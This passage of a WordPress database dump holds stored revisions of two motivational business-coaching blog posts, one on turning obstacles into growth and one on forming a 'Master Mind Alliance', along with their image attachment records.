challenges to shift your thinking, experiment, play with new and different ideas. In times of challenge, it’s best to leave conventional wisdom and your preconceived beliefs behind and open up to new strategies and tactics.\n\n<strong>Obstacles and adversities are rocket fuel.</strong>\nTurn the energy of fear, lack, limitation and uncertainty into the high velocity fuel you will need to bust through the gravity of your current circumstances. There is no growth in business without risk. Embrace risk like a lover! There’s fire and passion involved when your ass is on the line. If it were too easy, you would quickly be bored and the game of life would be far less interesting.  Resistance is necessary for building strength of character. In the face of every adversity, you must believe there’s no stopping you!\n\n<strong>Obstacles and adversities define the boundaries of your comfort zone.</strong>\nLeaving what you know and are comfortable with is absolutely necessary for your growth and advancement. When you experience obstacles, you are experiencing the borders of your own comfort and safety. Busting free into the unknown only expands your capabilities and experience. Of course this takes balls (courage)! My advice is never get too comfortable–it’ll put you to sleep!\n\n<strong>Obstacles and adversities are opportunities to create new value.</strong>\nAs an entrepreneur, your sole purpose is to create new value for your clients. Challenges in your own business growth may be the perfect thing for you to start thinking bigger with forward-thinking ideas about how to serve others with greater effectiveness. Remember, you’re in business to serve the success of others first. Think about how your current challenges can turn into opportunities for you to expand your value to others, and competition-proof your business.\n<h2><span style="color: #808080;">Every entrepreneur experiences setbacks on the road to achieving their business goals. Don’t judge yourself too harshly when the challenges seem too unmanageable. Remember that you’re on the frontier of a new level of experience. You’re simply developing the strength, knowledge and wisdom required of you to play the bigger game your growth will require. Above all, your attitude toward the challenges in your business will have more to do with transforming your circumstances than your all your knowledge, skill and talent.</span></h2>\n<strong> What challenges do you face in your business right now that could hold the key to your growth and success? Give it some thought!</strong>\n\nPS: I wrote another <a href="http://whc.fbdev.org/2007/09/25/hitting-a-brick-wall/" target="_blank">post</a> on this subject you might find interesting.', 'Obstacles and Adversity: Raw materials for business and life success.', 0, '', 'inherit', 'open', 'open', '', '714-revision-6', '', '', '2010-04-10 12:34:25', '2010-04-10 19:34:25', '', 714, 'http://www.whitehotcenter.com/2010/04/10/714-revision-6/', 0, 'revision', '', 0),
(720, 2, '2010-04-10 12:25:09', '2010-04-10 19:25:09', '<h2><img class="alignleft size-full wp-image-715" title="obstacle" src="http://whc.fbdev.org/wp-content/uploads/2010/04/obstacle.gif" alt="obstacle" width="187" height="274" />Let’s be honest–nobody likes banging their head against the wall. The sense you are making progress toward a worthy goal is in itself an important motivator to keep you in the game, in spite of whatever paralyzing complexities are facing you.  Sometimes obstacles and adversity can be completely overwhelming.</h2>\r\n<h2></h2>\r\nMany times, it’s easy to feel that the ball you are rolling up the hill can, at any moment, roll back over you. Every entrepreneur experiences the challenge of getting through, over, under and around obstacles and adversities that stand between where you are and where you want to be.\r\n\r\nSometimes it’s useful to step back from the friction and resistance and remember that complexities are inherent in the process of creation.  Entrepreneurs know obstacles and adversity come with the territory. Anything moving in the universe experiences friction.  Growing your business is no exception. Many entrepreneurs (myself included) are dealing with some form of challenge right now.  In my view, this is good news!\r\n\r\nEvery phase of growth and expansion (personally and professionally) is accompanied by an equal measure of resistance and complexity. It’s the familiar feeling of frustration you experience when you can’t quite get yourself over the wall to that next level of bigger clients, more creative and rewarding work, and of course, more money and personal freedom.  The truth is obstacles and adversity are necessary elements for your growth and  success. Challenges are in fact the raw material necessary to mold your desire for greater achievement. When you feel yourself hitting the wall, remember this:\r\n\r\n<strong>Obstacles and adversities are master teachers.</strong>\r\nIt is my belief that everything and everyone in your life right now is there for the sole purpose of teaching you what you need to know to move you up to the next level of growth. Use your challenges to shift your thinking, experiment, play with new and different ideas. In times of challenge, it’s best to leave conventional wisdom and your preconceived beliefs behind and open up to new strategies and tactics.\r\n\r\n<strong>Obstacles and adversities are rocket fuel.</strong>\r\nTurn the energy of fear, lack, limitation and uncertainty into the high velocity fuel you will need to bust through the gravity of your current circumstances. There is no growth in business without risk. Embrace risk like a lover! There’s fire and passion involved when your ass is on the line. If it were too easy, you would quickly be bored and the game of life would be far less interesting.  Resistance is necessary for building strength of character. In the face of every adversity, you must believe there’s no stopping you!\r\n\r\n<strong>Obstacles and adversities define the boundaries of your comfort zone.</strong>\r\nLeaving what you know and are comfortable with is absolutely necessary for your growth and advancement. When you experience obstacles, you are experiencing the borders of your own comfort and safety. Busting free into the unknown only expands your capabilities and experience. Of course this takes balls (courage)! My advice is never get too comfortable–it’ll put you to sleep!\r\n\r\n<strong>Obstacles and adversities are opportunities to create new value.</strong>As an entrepreneur, your sole purpose is to create new value for your clients. Challenges in your own business growth may be the perfect thing for you to start thinking bigger with a forward-thinking ideas about how to serve others with greater effectiveness. Remember, you’re in business to serve the success of others first. Think about how your current challenges can turn into opportunities for you to expand your value to others, and comprtition-proof your business..\r\n<h2><span style="color: #808080;">Every entrepreneur experiences setbacks on the road to achieving their business goals. Don’t judge yourself too harshly when the challenges seem too unmanageable. Remember that you’re on the frontier of a new level of experience. You’re simply developing the strength, knowledge and wisdom required of you to play the bigger game your growth will require. Above all, your attitude toward the challenges in your business will have more to do with transforming your circumstances than your all your knowledge, skill and talent.</span></h2>\r\n<strong> What challenges do you face in your business right now that could hold the key to your growth and success? Give it some thought!</strong>\r\n\r\nPS I wrote another <a href="http://whc.fbdev.org/2007/09/25/hitting-a-brick-wall/" target="_blank">post</a> on this subject you might find interesting.', 'Obstacles and Adversity: Raw materials for business and life success.', 0, '', 'inherit', 'open', 'open', '', '714-revision-5', '', '', '2010-04-10 12:25:09', '2010-04-10 19:25:09', '', 714, 'http://www.whitehotcenter.com/2010/04/10/714-revision-5/', 0, 'revision', '', 0),
(722, 2, '2010-04-10 12:37:33', '2010-04-10 19:37:33', '<h2><img class="alignleft size-full wp-image-715" title="obstacle" src="http://whc.fbdev.org/wp-content/uploads/2010/04/obstacle.gif" alt="obstacle" width="187" height="274" />Let’s be honest–nobody likes banging their head against the wall. The sense you are making progress toward a worthy goal is in itself an important motivator to keep you in the game, in spite of whatever paralyzing complexities are facing you.  Sometimes obstacles and adversity can be completely overwhelming.</h2>\r\nMany times, it’s easy to feel that the ball you are rolling up the hill can, at any moment, roll back over you. Every entrepreneur experiences the challenge of getting through, over, under and around obstacles and adversities that stand between where you are and where you want to be.\r\n\r\nSometimes it’s useful to step back from the friction and resistance and remember that complexities are inherent in the process of creation.  Entrepreneurs know obstacles and adversity come with the territory. Anything moving in the universe experiences friction.  Growing your business is no exception. Many entrepreneurs (myself included) are dealing with some form of challenge right now.  In my view, this is good news!\r\n\r\nEvery phase of growth and expansion (personally and professionally) is accompanied by an equal measure of resistance and complexity. It’s the familiar feeling of frustration you experience when you can’t quite get yourself over the wall to that next level of bigger clients, more creative and rewarding work, and of course, more money and personal freedom.  The truth is obstacles and adversity are necessary elements for your growth and  success. Challenges are in fact the raw material necessary to mold your desire for greater achievement. When you feel yourself hitting the wall, remember this:\r\n\r\n<strong>Obstacles and adversities are master teachers.</strong>\r\nIt is my belief that everything and everyone in your life right now is there for the sole purpose of teaching you what you need to know to move you up to the next level of growth. Use your challenges to shift your thinking, experiment, play with new and different ideas. In times of challenge, it’s best to leave conventional wisdom and your preconceived beliefs behind and open up to new strategies and tactics.\r\n\r\n<strong>Obstacles and adversities are rocket fuel.</strong>\r\nTurn the energy of fear, lack, limitation and uncertainty into the high velocity fuel you will need to bust through the gravity of your current circumstances. There is no growth in business without risk. Embrace risk like a lover! There’s fire and passion involved when your ass is on the line. If it were too easy, you would quickly be bored and the game of life would be far less interesting.  Resistance is necessary for building strength of character. In the face of every adversity, you must believe there’s no stopping you!\r\n\r\n<strong>Obstacles and adversities define the boundaries of your comfort zone.</strong>\r\nLeaving what you know and are comfortable with is absolutely necessary for your growth and advancement. When you experience obstacles, you are experiencing the borders of your own comfort and safety. Busting free into the unknown only expands your capabilities and experience. Of course this takes balls (courage)! My advice is never get too comfortable–it’ll put you to sleep!\r\n\r\n<strong>Obstacles and adversities are opportunities to create new value.</strong>\r\nAs an entrepreneur, your sole purpose is to create new value for your clients. Challenges in your own business growth may be the perfect thing for you to start thinking bigger with forward-thinking ideas about how to serve others with greater effectiveness. Remember, you’re in business to serve the success of others first. Think about how your current challenges can turn into opportunities for you to expand your value to others, and competition-proof your business.\r\n<h2><span style="color: #808080;">Every entrepreneur experiences setbacks on the road to achieving their business goals. Don’t judge yourself too harshly when the challenges seem too unmanageable. Remember that you’re on the frontier of a new level of experience. You’re simply developing the strength, knowledge and wisdom required of you to play the bigger game your growth will require. Above all, your attitude toward the challenges in your business will have more to do with transforming your circumstances than your all your knowledge, skill and talent.</span></h2>\r\n<strong> What challenges do you face in your business right now that could hold the key to your growth and success? Give it some thought!</strong>\r\n\r\nPS: I wrote another <a href="http://whc.fbdev.org/2007/09/25/hitting-a-brick-wall/" target="_blank">post</a> on this subject you might find interesting.', 'Obstacles and Adversity: Raw materials for business and life success.', 0, '', 'inherit', 'open', 'open', '', '714-revision-7', '', '', '2010-04-10 12:37:33', '2010-04-10 19:37:33', '', 714, 'http://www.whitehotcenter.com/2010/04/10/714-revision-7/', 0, 'revision', '', 0),
(723, 2, '2010-12-27 16:14:19', '2010-12-27 23:14:19', '<h2><img class="alignleft size-full wp-image-715" title="obstacle" src="http://whc.fbdev.org/wp-content/uploads/2010/04/obstacle.gif" alt="obstacle" width="187" height="274" />Let’s be honest–nobody likes banging their head against the wall. Knowing you are making progress toward a worthy goal is in itself an important motivator to keep you in the game, in spite of whatever paralyzing complexities are facing you.  Sometimes obstacles and adversity can be completely overwhelming.</h2>\r\nMany times, it’s easy to feel that the ball you are rolling up the hill can, at any moment, roll back over you. Every entrepreneur experiences the challenge of getting through, over, under and around obstacles and adversities that stand between where you are and where you want to be.\r\n\r\nSometimes it’s useful to step back from the friction and resistance and remember that complexities are inherent in the process of creation.  Entrepreneurs know obstacles and adversity come with the territory. Anything moving in the universe experiences friction.  Growing your business is no exception. Many entrepreneurs (myself included) are dealing with some form of challenge right now.  In my view, this is good news!\r\n\r\nEvery phase of growth and expansion (personally and professionally) is accompanied by an equal measure of resistance and complexity. It’s the familiar feeling of frustration you experience when you can’t quite get yourself over the wall to that next level of bigger clients, more creative and rewarding work, and of course, more money and personal freedom.  The truth is obstacles and adversity are necessary elements for your growth and  success. Challenges are in fact the raw material necessary to mold your desire for greater achievement. When you feel yourself hitting the wall, remember this:\r\n\r\n<strong>Obstacles and adversities are master teachers.</strong>\r\nIt is my belief that everything and everyone in your life right now is there for the sole purpose of teaching you what you need to know to move you up to the next level of growth. Use your challenges to shift your thinking, experiment, play with new and different ideas. In times of challenge, it’s best to leave conventional wisdom and your preconceived beliefs behind and open up to new strategies and tactics.\r\n\r\n<strong>Obstacles and adversities are rocket fuel.</strong>\r\nTurn the energy of fear, lack, limitation and uncertainty into the high velocity fuel you will need to bust through the gravity of your current circumstances. There is no growth in business without risk. Embrace risk like a lover! There’s fire and passion involved when your ass is on the line. If it were too easy, you would quickly be bored and the game of life would be far less interesting.  Resistance is necessary for building strength of character. In the face of every adversity, you must believe there’s no stopping you!\r\n\r\n<strong>Obstacles and adversities define the boundaries of your comfort zone.</strong>\r\nLeaving what you know and are comfortable with is absolutely necessary for your growth and advancement. When you experience obstacles, you are experiencing the borders of your own comfort and safety. Busting free into the unknown only expands your capabilities and experience. Of course this takes balls (courage)! My advice is never get too comfortable–it’ll put you to sleep!\r\n\r\n<strong>Obstacles and adversities are opportunities to create new value.</strong>\r\nAs an entrepreneur, your sole purpose is to create new value for your clients. Challenges in your own business growth may be the perfect thing for you to start thinking bigger with forward-thinking ideas about how to serve others with greater effectiveness. Remember, you’re in business to serve the success of others first. Think about how your current challenges can turn into opportunities for you to expand your value to others, and competition-proof your business.\r\n<h2><span style="color: #808080;">Every entrepreneur experiences setbacks on the road to achieving their business goals. Don’t judge yourself too harshly when the challenges seem too unmanageable. Remember that you’re on the frontier of a new level of experience. You’re simply developing the strength, knowledge and wisdom required of you to play the bigger game your growth will require. Above all, your attitude toward the challenges in your business will have more to do with transforming your circumstances than your all your knowledge, skill and talent.</span></h2>\r\n<strong> What challenges do you face in your business right now that could hold the key to your growth and success? Give it some thought!</strong>\r\n\r\nPS: I wrote another <a href="http://whc.fbdev.org/2007/09/25/hitting-a-brick-wall/" target="_blank">post</a> on this subject you might find interesting.', 'Obstacles and Adversity: Raw materials for business and life success.', 0, '', 'inherit', 'open', 'open', '', '714-autosave', '', '', '2010-12-27 16:14:19', '2010-12-27 23:14:19', '', 714, 'http://www.whitehotcenter.com/2010/04/10/714-autosave/', 0, 'revision', '', 0),
(724, 2, '2010-04-13 11:57:34', '2010-04-13 18:57:34', '', 'brain', 0, '', 'inherit', 'open', 'open', '', 'brain', '', '', '2010-04-13 11:57:34', '2010-04-13 18:57:34', '', 0, 'http://www.whitehotcenter.com/wp-content/uploads/2010/04/brain.gif', 0, 'attachment', 'image/gif', 0),
(725, 2, '2010-04-13 12:18:55', '2010-04-13 19:18:55', '<img class="alignnone size-full wp-image-729" title="brain" src="http://whc.fbdev.org/wp-content/uploads/2010/04/brain1.gif" alt="brain" width="490" height="396" />\r\n<h2>Ok, let’s assume you have a forward thinking vision for where you want to take your business and your whole life. You’re smart, disciplined, and highly focused. You have your vision written out in exquisite detail and you read it daily.  You take measurable actions each day toward your goals. You’re doing things right. Hopefully you’re not doing the right things alone.  If you are, you must multiply your brain power! You must create a Master Mind Alliance.</h2>\r\nEarly 20<sup>th</sup> century author <a href="http://en.wikipedia.org/wiki/Napoleon_Hill" target="_blank">Napolean Hill</a> defines the Master Mind as “the coordination of knowledge and effort, in a spirit of harmony, between two or more people for the attainment of a definite purpose”.  He goes on to say ”no individual may have great power without utilizing the Master Mind”. In other words you can’t get there by yourself. You need more than one brain–no matter how smart you think yours is.\r\n\r\nI must confess that this is an area in my business life where I have been challenged. So much of my life I have been going it alone. Early on, I bought into the common belief if you’re going get anywhere in life, you’re going have to do it yourself.  Nobody’s going to do it for you.  True enough, but even the Lone Ranger had Tonto to get him out of some tight jams.  The world moves too fast for one brain. We need collaborators that share our passion as if it were their own.\r\n\r\n<strong>Battery Power / Brain Power</strong>\r\n\r\nIt’s common knowledge when you take a collection of batteries and link them together, they will produce far more energy than a single battery.  Brains operate the same way. Take a bunch of brains, put them together in a room and they will collectively produce more thought energy than a single brain. More importantly, the added energy produced collectively is available to all individually.  The smartest person in the room is the one surrounded by several other smart people!  The big ideas swim in a deep idea pool!\r\n\r\nIf you require a force-multiplier to achieve your goals, there is none better than a Master Mind Alliance with others whose capabilities, contacts, knowledge, talent and skill can be harnessed on your behalf.  Your results become quantum leaps fueled by the collective brain power of your Master Mind Alliance.  Conversely, your participation and contributions to the group serves the good of the other members. This increases your own personal sense of value as you contribute to success of others. Everybody has to win!\r\n\r\n<strong>How to assemble your Master Mind Alliance.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>clearly know your chief purpose. That focuses the lens on the kind and type of people to invite to join your alliance. Keep it around 8-10 members tops!</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>be razor sharp clear about what rewards, advantages and benefits you will offer your members in return for their contributions. Every one must agree on this understanding from day one.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>don’t select people just because you like them. Choose people who not only share your vision, but will let you use their knowledge as if it were your own. It’s best to select people that have already achieved some level of success you are aspiring to reach yourself. These people can light the way for you.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>meet as often as is useful for all. (The good news is you can all meet virtually anywhere and at anytime thanks to the internet).</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>at all times, there must be honesty, trust, respect, authenticity, integrity and cooperation in equal measure among all members of the alliance</strong></span>.\r\n<h2><span style="color: #808080;">The important idea behind the Master Mind is that you begin to surround yourself with people you respect and admire, and in whose success you are equally invested. </span></h2>\r\nOf course things will change. Along the way your circumstances may require you amend the members of your group. This is perfectly fine. Just as it is possible, other members may withdraw themselves from your group for their own reasons.  As you grow, you’ll find yourself scaling up your Master Mind Alliance to keep pace with your business.\r\n\r\nAs you begin to recruit your members, don’t be discouraged if you’re turned down by people you would love to have in your group. Afterall, the only people you really want are the people who really want to participate with you. Be clear and honest about your mission, and what’s in it for them in exchange for their contribution.  Keep yourself in the positive frame of mind that attracts the very brightest members to help you accomplish your mission.\r\n\r\n<strong>If you have a group in place, please share what makes your Master Mind group an effective tool for all concerned.</strong>', 'How to multiply your brain!', 0, '', 'publish', 'open', 'open', '', 'how-to-multiply-your-brain', '', '', '2010-07-15 08:03:34', '2010-07-15 15:03:34', '', 0, 'http://www.whitehotcenter.com/?p=725', 0, 'post', '', 0),
(726, 2, '2010-04-13 12:01:17', '2010-04-13 19:01:17', '<img class="size-full wp-image-724 alignnone" title="brain" src="http://whc.fbdev.org/wp-content/uploads/2010/04/brain.gif" alt="brain" width="515" height="416" />\n<h2>Ok, let’s assume you have a forward thinking vision for where you want to take your business and your whole life. You’re smart, disciplined, and highly focused. You have your vision written out in exquisite detail and you read it daily.  You take measurable actions each day toward your goals. You’re doing things right. Hopefully you’re not doing the right things alone.  If you are, you must multiply your brain power! You must create a Master Mind Alliance.</h2>\nEarly 20<sup>th</sup> century author Napolean Hill defines the Master Mind as “the coordination of knowledge and effort, in a spirit of harmony, between two or more people for the attainment of a definite purpose”.  He goes to say ”no individual may have great power without utilizing the Master Mind”. In other words you can’t get there by yourself. You need more than one brain–no matter how smart you think yours is.\n\nI must confess that this is an area in my business life where I have been challenged. So much of my life I have been going it alone. Early on, I bought into the common belief if you’re going get anywhere in life, you’re going have to do it yourself.  Nobody’s going to do it for you.  True enough, but even the Lone Ranger had Tonto to get him out of some tight jams.  The world moves too fast for one brain. We need collaborators that share our passion as if it were their own.\n\n<strong>Battery Power / Brain Power</strong>\n\nIt’s common knowledge when you take a collection of batteries and link them together, they will produce far more energy than a single battery.  Brains operate the same way. Take a bunch of brains, put them together in a room and they will collectively produce more thought energy than a single brain. More importantly, the added energy produced collectively is available to all individually.  The smartest person in the room is the one surrounded by several other smart people!  The big ideas swim in a deep idea pool!\n\nIf you require a force-multiplier to achieve your goals, there is none better than a Master Mind Alliance with others whose capabilities, contacts, knowledge, talent and skill can be harnessed on your behalf.  Your results become quantum leaps fueled by the collective brain power of your Master Mind Alliance.  Conversely, your participation and contributions to the group serves the good of the other members. This increases your own personal sense of value as you contribute to success of others. Everybody has to win!\n\n<strong>How to assemble your Master Mind Alliance.</strong>\n\nclearly know your chief purpose. That focuses the lens on the kind and type of people to invite to join your alliance. Keep it around 8-10 members tops!\n\nbe razor sharp clear about what rewards, advantages and benefits you will offer your members in return for their contributions. Every one must agree on this understanding from day one.\n\ndon’t select people just because you like them. Choose people who not only share your vision, but will let you use their knowledge as if it were your own. It’s best to select people that have already achieved some level of success you are aspiring to reach yourself. These people can light the way for you.\n\nmeet as often as is useful for all. (The good news is you can all meet virtually anywhere and at anytime thanks to the internet).\n\nat all times, there must be honesty, trust, respect, authenticity, integrity and cooperation in equal measure among all members of the alliance.\n<h2><span style="color: #808080;">The important idea behind the Master Mind is that you begin to surround yourself with people you respect and admire, and in whose success you are equally invested. </span></h2>\nOf course things will change. Along the way your circumstances may require you amend the members of your group. This is perfectly fine. Just as it is possible, other members may withdraw themselves from your group for their own reasons.  As you grow, you’ll find yourself scaling up your Master Mind Alliance to keep pace with your business.\n\nAs you begin to recruit your members, don’t be discouraged if you’re turned down by people you would love to have in your group. Afterall, the only people you really want are the people who really want to participate with you. Be clear and honest about your mission, and what’s in it for them in exchange for their contribution.  Keep yourself in the positive frame of mind that attracts the very brightest members to help you accomplish your mission.\n\nIf you have a group in place, please share what makes your Master Mind group an effective tool for all concerned.', '', 0, '', 'inherit', 'open', 'open', '', '725-revision', '', '', '2010-04-13 12:01:17', '2010-04-13 19:01:17', '', 725, 'http://www.whitehotcenter.com/2010/04/13/725-revision/', 0, 'revision', '', 0),
(727, 2, '2010-04-13 12:02:18', '2010-04-13 19:02:18', '<img class="size-full wp-image-724 alignnone" title="brain" src="http://whc.fbdev.org/wp-content/uploads/2010/04/brain.gif" alt="brain" width="515" height="416" />\n<h2>Ok, let’s assume you have a forward thinking vision for where you want to take your business and your whole life. You’re smart, disciplined, and highly focused. You have your vision written out in exquisite detail and you read it daily.  You take measurable actions each day toward your goals. You’re doing things right. Hopefully you’re not doing the right things alone.  If you are, you must multiply your brain power! You must create a Master Mind Alliance.</h2>\nEarly 20<sup>th</sup> century author Napolean Hill defines the Master Mind as “the coordination of knowledge and effort, in a spirit of harmony, between two or more people for the attainment of a definite purpose”.  He goes to say ”no individual may have great power without utilizing the Master Mind”. In other words you can’t get there by yourself. You need more than one brain–no matter how smart you think yours is.\n\nI must confess that this is an area in my business life where I have been challenged. So much of my life I have been going it alone. Early on, I bought into the common belief if you’re going get anywhere in life, you’re going have to do it yourself.  Nobody’s going to do it for you.  True enough, but even the Lone Ranger had Tonto to get him out of some tight jams.  The world moves too fast for one brain. We need collaborators that share our passion as if it were their own.\n\n<strong>Battery Power / Brain Power</strong>\n\nIt’s common knowledge when you take a collection of batteries and link them together, they will produce far more energy than a single battery.  Brains operate the same way. Take a bunch of brains, put them together in a room and they will collectively produce more thought energy than a single brain. More importantly, the added energy produced collectively is available to all individually.  The smartest person in the room is the one surrounded by several other smart people!  The big ideas swim in a deep idea pool!\n\nIf you require a force-multiplier to achieve your goals, there is none better than a Master Mind Alliance with others whose capabilities, contacts, knowledge, talent and skill can be harnessed on your behalf.  Your results become quantum leaps fueled by the collective brain power of your Master Mind Alliance.  Conversely, your participation and contributions to the group serves the good of the other members. This increases your own personal sense of value as you contribute to success of others. Everybody has to win!\n\n<strong>How to assemble your Master Mind Alliance.</strong>\n\nclearly know your chief purpose. That focuses the lens on the kind and type of people to invite to join your alliance. Keep it around 8-10 members tops!\n\nbe razor sharp clear about what rewards, advantages and benefits you will offer your members in return for their contributions. Every one must agree on this understanding from day one.\n\ndon’t select people just because you like them. Choose people who not only share your vision, but will let you use their knowledge as if it were your own. It’s best to select people that have already achieved some level of success you are aspiring to reach yourself. These people can light the way for you.\n\nmeet as often as is useful for all. (The good news is you can all meet virtually anywhere and at anytime thanks to the internet).\n\nat all times, there must be honesty, trust, respect, authenticity, integrity and cooperation in equal measure among all members of the alliance.\n<h2><span style="color: #808080;">The important idea behind the Master Mind is that you begin to surround yourself with people you respect and admire, and in whose success you are equally invested. </span></h2>\nOf course things will change. Along the way your circumstances may require you amend the members of your group. This is perfectly fine. Just as it is possible, other members may withdraw themselves from your group for their own reasons.  As you grow, you’ll find yourself scaling up your Master Mind Alliance to keep pace with your business.\n\nAs you begin to recruit your members, don’t be discouraged if you’re turned down by people you would love to have in your group. Afterall, the only people you really want are the people who really want to participate with you. Be clear and honest about your mission, and what’s in it for them in exchange for their contribution.  Keep yourself in the positive frame of mind that attracts the very brightest members to help you accomplish your mission.\n\n<strong>If you have a group in place, please share what makes your Master Mind group an effective tool for all concerned.</strong>', '', 0, '', 'inherit', 'open', 'open', '', '725-revision-2', '', '', '2010-04-13 12:02:18', '2010-04-13 19:02:18', '', 725, 'http://www.whitehotcenter.com/2010/04/13/725-revision-2/', 0, 'revision', '', 0),
(728, 2, '2010-04-13 12:03:01', '2010-04-13 19:03:01', '<img class="size-full wp-image-724 alignnone" title="brain" src="http://whc.fbdev.org/wp-content/uploads/2010/04/brain.gif" alt="brain" width="412" height="333" />\r\n<h2>Ok, let’s assume you have a forward thinking vision for where you want to take your business and your whole life. You’re smart, disciplined, and highly focused. You have your vision written out in exquisite detail and you read it daily.  You take measurable actions each day toward your goals. You’re doing things right. Hopefully you’re not doing the right things alone.  If you are, you must multiply your brain power! You must create a Master Mind Alliance.</h2>\r\nEarly 20<sup>th</sup> century author Napolean Hill defines the Master Mind as “the coordination of knowledge and effort, in a spirit of harmony, between two or more people for the attainment of a definite purpose”.  He goes to say ”no individual may have great power without utilizing the Master Mind”. In other words you can’t get there by yourself. You need more than one brain–no matter how smart you think yours is.\r\n\r\nI must confess that this is an area in my business life where I have been challenged. So much of my life I have been going it alone. Early on, I bought into the common belief if you’re going get anywhere in life, you’re going have to do it yourself.  Nobody’s going to do it for you.  True enough, but even the Lone Ranger had Tonto to get him out of some tight jams.  The world moves too fast for one brain. We need collaborators that share our passion as if it were their own.\r\n\r\n<strong>Battery Power / Brain Power</strong>\r\n\r\nIt’s common knowledge when you take a collection of batteries and link them together, they will produce far more energy than a single battery.  Brains operate the same way. Take a bunch of brains, put them together in a room and they will collectively produce more thought energy than a single brain. More importantly, the added energy produced collectively is available to all individually.  The smartest person in the room is the one surrounded by several other smart people!  The big ideas swim in a deep idea pool!\r\n\r\nIf you require a force-multiplier to achieve your goals, there is none better than a Master Mind Alliance with others whose capabilities, contacts, knowledge, talent and skill can be harnessed on your behalf.  Your results become quantum leaps fueled by the collective brain power of your Master Mind Alliance.  Conversely, your participation and contributions to the group serves the good of the other members. This increases your own personal sense of value as you contribute to success of others. Everybody has to win!\r\n\r\n<strong>How to assemble your Master Mind Alliance.</strong>\r\n\r\nclearly know your chief purpose. That focuses the lens on the kind and type of people to invite to join your alliance. Keep it around 8-10 members tops!\r\n\r\nbe razor sharp clear about what rewards, advantages and benefits you will offer your members in return for their contributions. Every one must agree on this understanding from day one.\r\n\r\ndon’t select people just because you like them. Choose people who not only share your vision, but will let you use their knowledge as if it were your own. It’s best to select people that have already achieved some level of success you are aspiring to reach yourself. These people can light the way for you.\r\n\r\nmeet as often as is useful for all. (The good news is you can all meet virtually anywhere and at anytime thanks to the internet).\r\n\r\nat all times, there must be honesty, trust, respect, authenticity, integrity and cooperation in equal measure among all members of the alliance.\r\n<h2><span style="color: #808080;">The important idea behind the Master Mind is that you begin to surround yourself with people you respect and admire, and in whose success you are equally invested. </span></h2>\r\nOf course things will change. Along the way your circumstances may require you amend the members of your group. This is perfectly fine. Just as it is possible, other members may withdraw themselves from your group for their own reasons.  As you grow, you’ll find yourself scaling up your Master Mind Alliance to keep pace with your business.\r\n\r\nAs you begin to recruit your members, don’t be discouraged if you’re turned down by people you would love to have in your group. Afterall, the only people you really want are the people who really want to participate with you. Be clear and honest about your mission, and what’s in it for them in exchange for their contribution.  Keep yourself in the positive frame of mind that attracts the very brightest members to help you accomplish your mission.\r\n\r\n<strong>If you have a group in place, please share what makes your Master Mind group an effective tool for all concerned.</strong>', 'How to multiply your brain!', 0, '', 'inherit', 'open', 'open', '', '725-revision-3', '', '', '2010-04-13 12:03:01', '2010-04-13 19:03:01', '', 725, 'http://www.whitehotcenter.com/2010/04/13/725-revision-3/', 0, 'revision', '', 0),
(729, 2, '2010-04-13 12:09:25', '2010-04-13 19:09:25', '', 'brain', 0, '', 'inherit', 'open', 'open', '', 'brain-2', '', '', '2010-04-13 12:09:25', '2010-04-13 19:09:25', '', 725, 'http://www.whitehotcenter.com/wp-content/uploads/2010/04/brain1.gif', 0, 'attachment', 'image/gif', 0);
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(730, 2, '2010-04-13 12:04:34', '2010-04-13 19:04:34', '<img class="size-full wp-image-724 alignnone" title="brain" src="http://whc.fbdev.org/wp-content/uploads/2010/04/brain.gif" alt="brain" width="371" height="300" />\r\n<h2>Ok, let’s assume you have a forward thinking vision for where you want to take your business and your whole life. You’re smart, disciplined, and highly focused. You have your vision written out in exquisite detail and you read it daily.  You take measurable actions each day toward your goals. You’re doing things right. Hopefully you’re not doing the right things alone.  If you are, you must multiply your brain power! You must create a Master Mind Alliance.</h2>\r\nEarly 20<sup>th</sup> century author Napolean Hill defines the Master Mind as “the coordination of knowledge and effort, in a spirit of harmony, between two or more people for the attainment of a definite purpose”.  He goes to say ”no individual may have great power without utilizing the Master Mind”. In other words you can’t get there by yourself. You need more than one brain–no matter how smart you think yours is.\r\n\r\nI must confess that this is an area in my business life where I have been challenged. So much of my life I have been going it alone. Early on, I bought into the common belief if you’re going get anywhere in life, you’re going have to do it yourself.  Nobody’s going to do it for you.  True enough, but even the Lone Ranger had Tonto to get him out of some tight jams.  The world moves too fast for one brain. We need collaborators that share our passion as if it were their own.\r\n\r\n<strong>Battery Power / Brain Power</strong>\r\n\r\nIt’s common knowledge when you take a collection of batteries and link them together, they will produce far more energy than a single battery.  Brains operate the same way. Take a bunch of brains, put them together in a room and they will collectively produce more thought energy than a single brain. More importantly, the added energy produced collectively is available to all individually.  The smartest person in the room is the one surrounded by several other smart people!  The big ideas swim in a deep idea pool!\r\n\r\nIf you require a force-multiplier to achieve your goals, there is none better than a Master Mind Alliance with others whose capabilities, contacts, knowledge, talent and skill can be harnessed on your behalf.  Your results become quantum leaps fueled by the collective brain power of your Master Mind Alliance.  Conversely, your participation and contributions to the group serves the good of the other members. This increases your own personal sense of value as you contribute to success of others. Everybody has to win!\r\n\r\n<strong>How to assemble your Master Mind Alliance.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>clearly know your chief purpose. That focuses the lens on the kind and type of people to invite to join your alliance. Keep it around 8-10 members tops!</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>be razor sharp clear about what rewards, advantages and benefits you will offer your members in return for their contributions. Every one must agree on this understanding from day one.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>don’t select people just because you like them. Choose people who not only share your vision, but will let you use their knowledge as if it were your own. It’s best to select people that have already achieved some level of success you are aspiring to reach yourself. These people can light the way for you.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>meet as often as is useful for all. (The good news is you can all meet virtually anywhere and at anytime thanks to the internet).</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>at all times, there must be honesty, trust, respect, authenticity, integrity and cooperation in equal measure among all members of the alliance</strong></span>.\r\n<h2><span style="color: #808080;">The important idea behind the Master Mind is that you begin to surround yourself with people you respect and admire, and in whose success you are equally invested. </span></h2>\r\nOf course things will change. Along the way your circumstances may require you amend the members of your group. This is perfectly fine. Just as it is possible, other members may withdraw themselves from your group for their own reasons.  As you grow, you’ll find yourself scaling up your Master Mind Alliance to keep pace with your business.\r\n\r\nAs you begin to recruit your members, don’t be 